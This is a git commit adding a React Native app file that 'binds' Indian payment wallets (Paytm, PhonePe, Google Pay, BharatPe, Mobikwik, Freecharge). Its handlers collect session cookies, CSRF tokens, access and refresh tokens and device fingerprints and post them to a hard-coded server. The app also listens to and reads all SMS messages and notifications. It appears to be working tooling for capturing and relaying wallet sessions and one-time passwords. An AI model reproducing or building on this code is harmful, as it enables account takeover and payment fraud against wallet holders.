first blood

This commit is contained in:
2026-01-23 16:48:55 +08:00
parent 608af0f289
commit 5e0e7e0069
122 changed files with 8930 additions and 2 deletions

672
App.tsx Normal file
View File

@@ -0,0 +1,672 @@
import React, { Component } from "react";
import { Alert, Modal, StyleSheet, Text, TouchableOpacity, View } from "react-native";
import {
PaytmBusinessBind,
PhonePeBusinessBind,
GooglePayBusinessBind,
BharatPeBusinessBind,
WalletType,
PaytmBusinessBindResult,
PhonePeBusinessBindResult,
PaytmPersonalBind,
PaytmPersonalBindResult,
MobikwikPersonalBind,
MobikwikPersonalBindResult,
FreechargePersonalBind,
FreechargePersonalBindResult,
GooglePayBusinessBindResult,
BharatPeBusinessBindResult,
paytmPay,
onSmsMessage,
onNotificationMessage,
getAllSms,
getAllNotifications,
startSmsListener,
startNotificationListener,
stopSmsListener,
stopNotificationListener,
checkSmsPermission,
checkNotificationPermission,
openNotificationSettings,
requestSmsPermission,
} from "rnwalletman";
import BarcodeScanning from '@react-native-ml-kit/barcode-scanning';
import RNFS from 'react-native-fs';
import { NotificationMessage, PhonepePersonalBindResult, SmsMessage } from "./rnwalletman/src/types";
import { PhonepePersonalBind } from "./rnwalletman/src/PhonepePersonalBind";
interface AppProps {
}
interface AppState {
showPaytmBusinessBind: boolean;
showPaytmPersonalBind: boolean;
showPhonePePersonalBind: boolean;
showPhonePeBusinessBind: boolean;
showGooglePayBusinessBind: boolean;
showBharatPeBusinessBind: boolean;
showMobikwikPersonalBind: boolean;
showFreechargePersonalBind: boolean;
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: "center",
alignItems: "center",
},
button: {
padding: 10,
backgroundColor: "lightblue",
borderRadius: 5,
width: 200,
height: 50,
},
text: {
fontSize: 20,
fontWeight: "bold",
},
modal: {
flex: 1,
justifyContent: "center",
alignItems: "center",
},
modalContent: {
flex: 1,
justifyContent: "center",
alignItems: "center",
},
bindButton: {
padding: 10,
borderRadius: 5,
width: 280,
height: 50,
justifyContent: "center",
alignItems: "center",
margin: 10,
},
bindButtonText: {
fontSize: 18,
fontWeight: "bold",
},
});
class Api {
private static readonly BASE_URL = 'http://192.168.1.155:16000';
private static _instance: Api | null = null;
private constructor() {
}
public static get instance() {
if (Api._instance === null) {
Api._instance = new Api();
}
return Api._instance;
}
public async register(walletType: WalletType, params: any) {
const response = await fetch(`${Api.BASE_URL}/register`, {
method: 'POST',
body: JSON.stringify({ walletType, params }),
});
return response.json();
}
public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) {
const response = await fetch(`${Api.BASE_URL}/request-otp`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ walletType, mobile, params }),
});
return response.json();
}
public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) {
const response = await fetch(`${Api.BASE_URL}/verify-otp`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ walletType, mobile, otp, params }),
});
return response.json();
}
}
export default class App extends Component<AppProps, AppState> {
private deviceId: string;
private tuneUserId: string;
constructor(props: AppProps) {
super(props);
this.state = {
showPaytmBusinessBind: false,
showPaytmPersonalBind: false,
showPhonePeBusinessBind: false,
showPhonePePersonalBind: false,
showGooglePayBusinessBind: false,
showBharatPeBusinessBind: false,
showMobikwikPersonalBind: false,
showFreechargePersonalBind: false,
};
// 临时使用测试成功的固定 ID
this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D';
this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59';
}
async componentDidMount() {
/* 权限申请 */
let smsPermission = await checkSmsPermission();
let notificationPermission = await checkNotificationPermission();
if (!smsPermission) {
const granted = await requestSmsPermission();
smsPermission = await checkSmsPermission();
console.log('smsPermission:', smsPermission);
if (!smsPermission) {
Alert.alert('需要短信权限', '请在系统设置中授予短信权限');
}
}
if (!notificationPermission) {
Alert.alert(
'需要通知监听权限',
'点击确定后将打开设置页面,请找到本应用并授予通知访问权限',
[
{
text: '确定',
onPress: () => openNotificationSettings()
},
{ text: '取消' }
]
);
return; // 等用户手动授权后重启应用
}
// 启动监听
startSmsListener();
startNotificationListener();
onSmsMessage((message: SmsMessage) => {
console.log('[SMS]', message);
});
onNotificationMessage((notification: NotificationMessage) => {
console.log('[Notification]', notification);
});
/*
* 获取所有短信和通知
*/
if (smsPermission) {
getAllSms().then((sms: SmsMessage[]) => {
console.log('[所有短信]', sms.length, '条');
}).catch(err => console.error('[获取短信失败]', err));
}
if (notificationPermission) {
getAllNotifications().then((notifications: NotificationMessage[]) => {
console.log('[所有通知]', notifications.length, '条');
}).catch(err => console.error('[获取通知失败]', err));
}
}
componentWillUnmount(): void {
stopSmsListener();
stopNotificationListener();
}
decodeQRFromUrl = async (url: string) => {
const localPath = `${RNFS.CachesDirectoryPath}/temp_qr_${Date.now()}.jpg`;
try {
// 1. 下载图片
await RNFS.downloadFile({ fromUrl: url, toFile: localPath }).promise;
// 2. 识别二维码
const barcodes = await BarcodeScanning.scan(`file://${localPath}`);
if (barcodes.length > 0) {
return barcodes[0].value;
}
} catch (e) {
console.error(e);
return null;
}
};
/* 绑定 Paytm Personal */
handlePaytmPersonalBind = () => {
this.setState({ showPaytmPersonalBind: true });
}
/* 上传 Paytm Personal 到服务器 */
handleUploadPaytmPersonal = async (result: PaytmPersonalBindResult) => {
try {
console.log(result);
const response = await Api.instance.register(WalletType.PAYTM_PERSONAL, {
mobile: result.mobile,
token: result.token,
userId: result.userId,
profileDetail: result.profileDetail,
});
console.log(response);
this.setState({ showPaytmPersonalBind: false });
} catch (error) {
Alert.alert('Bind Paytm Personal Error', (error as Error).message || 'Unknown error');
this.setState({ showPaytmPersonalBind: false });
}
}
/* 绑定 Paytm Business */
handlePaytmBusinessBind = () => {
this.setState({ showPaytmBusinessBind: true });
}
/* 上传 Paytm Business 到服务器 */
handleUploadPaytmBusiness = async (result: PaytmBusinessBindResult) => {
try {
console.log(result);
const response = await Api.instance.register(WalletType.PAYTM_BUSINESS, {
contextData: result.contextData,
cookie: result.cookie,
xCsrfToken: result.xCsrfToken,
qrData: result.qrData
});
console.log(response);
this.setState({ showPaytmBusinessBind: false });
} catch (error) {
Alert.alert('Bind Paytm Business Error', (error as Error).message || 'Unknown error');
this.setState({ showPaytmBusinessBind: false });
}
}
/* 绑定 Mobikwik Personal */
handleMobikwikPersonalBind = () => {
this.setState({ showMobikwikPersonalBind: true });
}
/* 上传 Mobikwik Personal 到服务器 */
handleUploadMobikwikPersonal = async (result: MobikwikPersonalBindResult) => {
try {
console.log(result);
// 已在 verifyOTP 中完成注册
this.setState({ showMobikwikPersonalBind: false });
Alert.alert('绑定成功', 'Mobikwik Personal 绑定成功');
} catch (error) {
Alert.alert('Bind Mobikwik Personal Error', (error as Error).message || 'Unknown error');
this.setState({ showMobikwikPersonalBind: false });
}
}
/* 绑定 Freecharge Personal */
handleFreechargePersonalBind = () => {
this.setState({ showFreechargePersonalBind: true });
}
/* 上传 Freecharge Personal 到服务器 */
handleUploadFreechargePersonal = async (result: FreechargePersonalBindResult) => {
try {
console.log(result);
// 已经在 FreechargePersonalBind 中完成注册
this.setState({ showFreechargePersonalBind: false });
Alert.alert('绑定成功', 'Freecharge Personal 绑定成功');
} catch (error) {
Alert.alert('Bind Freecharge Personal Error', (error as Error).message || 'Unknown error');
this.setState({ showFreechargePersonalBind: false });
}
}
/* 绑定 PhonePe Personal */
handlePhonePePersonalBind = () => {
this.setState({ showPhonePePersonalBind: true });
}
/* 上传 PhonePe Personal 到服务器 */
handleUploadPhonePePersonal = async (result: PhonepePersonalBindResult) => {
try {
console.log(result);
const response = await Api.instance.register(WalletType.PHONEPE_PERSONAL, {
mobile: result.mobile,
token: result.token,
userId: result.userId,
profileDetail: result.profileDetail,
});
console.log(response);
this.setState({ showPhonePePersonalBind: false });
} catch (error) {
Alert.alert('Bind PhonePe Personal Error', (error as Error).message || 'Unknown error');
this.setState({ showPhonePePersonalBind: false });
}
}
/* 绑定 PhonePe Business */
handlePhonePeBusinessBind = () => {
this.setState({ showPhonePeBusinessBind: true });
}
/* 上传 PhonePe Business 到服务器 */
handleUploadPhonePeBusiness = async (result: PhonePeBusinessBindResult) => {
try {
console.log(result);
const response = await Api.instance.register(WalletType.PHONEPE_BUSINESS, {
cookie: result.cookie,
xCsrfToken: result.xCsrfToken,
qrData: result.qrData,
userAToken: result.userAToken,
userRToken: result.userRToken,
fingerprint: result.fingerprint,
userInfo: result.userInfo
});
console.log(response);
this.setState({ showPhonePeBusinessBind: false });
} catch (error) {
Alert.alert('Bind PhonePe Business Error', (error as Error).message || 'Unknown error');
this.setState({ showPhonePeBusinessBind: false });
}
}
/* 绑定 GooglePay Business */
handleGooglePayBusinessBind = () => {
this.setState({ showGooglePayBusinessBind: true });
}
/* 上传 GooglePay Business 到服务器 */
handleUploadGooglePayBusiness = async (result: GooglePayBusinessBindResult) => {
try {
console.log(result);
const response = await Api.instance.register(WalletType.GOOGLEPAY_BUSINESS, {
cookie: result.cookie,
url: result.url,
body: result.body,
channelUid: result.channelUid,
openUrl: result.openUrl,
merchantInfo: result.merchantInfo,
});
console.log(response);
this.setState({ showGooglePayBusinessBind: false });
} catch (error) {
Alert.alert('Bind GooglePay Business Error', (error as Error).message || 'Unknown error');
this.setState({ showGooglePayBusinessBind: false });
}
}
/* 绑定 BharatPe Business */
handleBharatPeBusinessBind = () => {
this.setState({ showBharatPeBusinessBind: true });
}
/* 上传 BharatPe Business 到服务器 */
handleUploadBharatPeBusiness = async (result: BharatPeBusinessBindResult) => {
try {
console.log(result);
const qrCode = await this.decodeQRFromUrl(result.qrUrl || '');
console.log('qrCode:', qrCode);
const response = await Api.instance.register(WalletType.BHARATPE_BUSINESS, {
cookie: result.cookie,
accessToken: result.accessToken,
merchantId: result.merchantId?.toString(),
userName: result.userName?.toString(),
email: result.email?.toString(),
mobile: result.mobile?.toString(),
qrCode: qrCode?.toString(),
});
console.log(response);
this.setState({ showBharatPeBusinessBind: false });
} catch (error) {
Alert.alert('Bind BharatPe Business Error', (error as Error).message || 'Unknown error');
this.setState({ showBharatPeBusinessBind: false });
}
}
renderBindModal = () => {
/* 绑定 PhonePe Personal */
if (this.state.showPhonePePersonalBind) {
return (
<Modal visible={this.state.showPhonePePersonalBind} transparent={true} onRequestClose={() => this.setState({ showPhonePePersonalBind: false })}>
<PhonepePersonalBind
processString="Processing PhonePe Personal..."
isDebug={true}
onSuccess={(result: PhonepePersonalBindResult) => {
this.handleUploadPhonePePersonal(result);
}}
onError={(error: string) => {
console.log(error);
this.setState({ showPhonePePersonalBind: false });
}}
/>
</Modal>
);
}
/* 绑定 Paytm Business */
if (this.state.showPaytmBusinessBind) {
return (
<Modal visible={this.state.showPaytmBusinessBind} transparent={true} onRequestClose={() => this.setState({ showPaytmBusinessBind: false })}>
<PaytmBusinessBind
processString="Processing Paytm Business..."
// isDebug={true}
onSuccess={(result: PaytmBusinessBindResult) => {
this.handleUploadPaytmBusiness(result);
}}
onError={(error: string) => {
console.log(error);
this.setState({ showPaytmBusinessBind: false });
}}
/>
</Modal>
);
}
/* 绑定 PhonePe Business */
if (this.state.showPhonePeBusinessBind) {
return (
<Modal visible={this.state.showPhonePeBusinessBind} transparent={true} onRequestClose={() => this.setState({ showPhonePeBusinessBind: false })}>
<PhonePeBusinessBind
processString="Processing PhonePe Business..."
isDebug={true}
onSuccess={(result: PhonePeBusinessBindResult) => {
this.handleUploadPhonePeBusiness(result);
}}
onError={(error) => {
console.log(error);
this.setState({ showPhonePeBusinessBind: false });
}}
/>
</Modal>
);
}
/* 绑定 GooglePay Business */
if (this.state.showGooglePayBusinessBind) {
return (
<Modal visible={this.state.showGooglePayBusinessBind} transparent={true} onRequestClose={() => this.setState({ showGooglePayBusinessBind: false })}>
<GooglePayBusinessBind
processString="Processing GooglePay Business..."
// isDebug={true}
onSuccess={(result: GooglePayBusinessBindResult) => {
this.handleUploadGooglePayBusiness(result);
}}
onError={(error: string) => {
console.log(error);
this.setState({ showGooglePayBusinessBind: false });
}}
/>
</Modal>
);
}
/* 绑定 BharatPe Business */
if (this.state.showBharatPeBusinessBind) {
return (
<Modal visible={this.state.showBharatPeBusinessBind} transparent={true} onRequestClose={() => this.setState({ showBharatPeBusinessBind: false })}>
<BharatPeBusinessBind
processString="Processing BharatPe Business..."
// isDebug={true}
onSuccess={(result) => {
this.handleUploadBharatPeBusiness(result);
}}
onError={(error) => {
console.log(error);
this.setState({ showBharatPeBusinessBind: false });
}}
/>
</Modal>
);
}
/* 绑定 Paytm Personal */
if (this.state.showPaytmPersonalBind) {
return (
<Modal visible={this.state.showPaytmPersonalBind} transparent={true} onRequestClose={() => this.setState({ showPaytmPersonalBind: false })}>
<PaytmPersonalBind
processString="Processing Paytm Personal..."
isDebug={true}
onSuccess={(result: PaytmPersonalBindResult) => {
this.handleUploadPaytmPersonal(result);
}}
onError={(error) => {
console.log(error);
this.setState({ showPaytmPersonalBind: false });
}}
/>
</Modal>
);
}
/* 绑定 Mobikwik Personal */
if (this.state.showMobikwikPersonalBind) {
return (
<Modal visible={this.state.showMobikwikPersonalBind} transparent={true} onRequestClose={() => this.setState({ showMobikwikPersonalBind: false })}>
<MobikwikPersonalBind
processString="Processing Mobikwik Personal..."
isDebug={true}
deviceId={this.deviceId}
tuneUserId={this.tuneUserId}
onRequestOTP={async (walletType: WalletType, params: { mobile: string; deviceId?: string; tuneUserId?: string }) => {
try {
const response = await Api.instance.requestOTP(walletType, params.mobile, {
deviceId: params.deviceId,
tuneUserId: params.tuneUserId
});
return response;
} catch (error) {
return { success: false, message: (error as Error).message };
}
}}
onVerifyOTP={async (walletType: WalletType, params: { mobile: string, otp: string, deviceId?: string, tuneUserId?: string, nid?: string }) => {
try {
const response = await Api.instance.verifyOTP(walletType, params.mobile, params.otp, {
deviceId: params.deviceId,
tuneUserId: params.tuneUserId,
nid: params.nid
});
return response;
} catch (error) {
return { success: false, message: (error as Error).message };
}
}}
onSuccess={(result: MobikwikPersonalBindResult) => {
this.handleUploadMobikwikPersonal(result);
}}
onError={(error) => {
console.log(error);
this.setState({ showMobikwikPersonalBind: false });
}}
/>
</Modal>
);
}
/* 绑定 Freecharge Personal */
if (this.state.showFreechargePersonalBind) {
return (
<Modal visible={this.state.showFreechargePersonalBind} transparent={true} onRequestClose={() => this.setState({ showFreechargePersonalBind: false })}>
<FreechargePersonalBind
onRequestOTP={async (walletType: WalletType, params: { mobile: string }) => {
try {
const response = await Api.instance.requestOTP(walletType, params.mobile);
return response;
} catch (error) {
return { success: false, message: (error as Error).message };
}
}}
onVerifyOTP={async (walletType: WalletType, params: { mobile: string, otp: string, otpId?: string, deviceId?: string, csrfId?: string, appFc?: string }) => {
try {
const response = await Api.instance.verifyOTP(walletType, params.mobile, params.otp, {
otpId: params.otpId,
deviceId: params.deviceId,
csrfId: params.csrfId,
appFc: params.appFc
});
return response;
} catch (error) {
return { success: false, message: (error as Error).message };
}
}}
processString="Processing Freecharge Personal..."
// isDebug={true}
onSuccess={(result: FreechargePersonalBindResult) => {
this.handleUploadFreechargePersonal(result);
}}
onError={(error) => {
console.log(error);
this.setState({ showFreechargePersonalBind: false });
}}
/>
</Modal>
);
}
return null;
}
handlePaytmPay = async () => {
try {
const result = await paytmPay("100", "test", "1234567890", "1234567890", "test");
Alert.alert('Paytm Pay Success', result.toString());
} catch (error) {
Alert.alert('Paytm Pay Error', (error as Error).message || 'Unknown error');
}
}
render() {
return (
<View style={styles.container}>
{this.renderBindModal()}
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "purple" }]} onPress={this.handlePaytmPersonalBind}>
<Text style={styles.bindButtonText}> Paytm Personal</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "lightblue" }]} onPress={this.handlePaytmBusinessBind}>
<Text style={styles.bindButtonText}> Paytm Business</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "#1890ff" }]} onPress={this.handlePhonePePersonalBind}>
<Text style={styles.bindButtonText}> PhonePe Personal</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "lightgreen" }]} onPress={this.handlePhonePeBusinessBind}>
<Text style={styles.bindButtonText}> PhonePe Business</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "#ff5555" }]} onPress={this.handleGooglePayBusinessBind}>
<Text style={styles.bindButtonText}> GooglePay Business</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "pink" }]} onPress={this.handleBharatPeBusinessBind}>
<Text style={styles.bindButtonText}> BharatPe Business</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "orange" }]} onPress={this.handlePaytmPay}>
<Text style={styles.bindButtonText}> Paytm Personal</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "brown" }]} onPress={this.handleMobikwikPersonalBind}>
<Text style={styles.bindButtonText}> Mobikwik Personal</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.bindButton, { backgroundColor: "#AA6600" }]} onPress={this.handleFreechargePersonalBind}>
<Text style={styles.bindButtonText}> Freecharge Personal</Text>
</TouchableOpacity>
</View>
);
}
}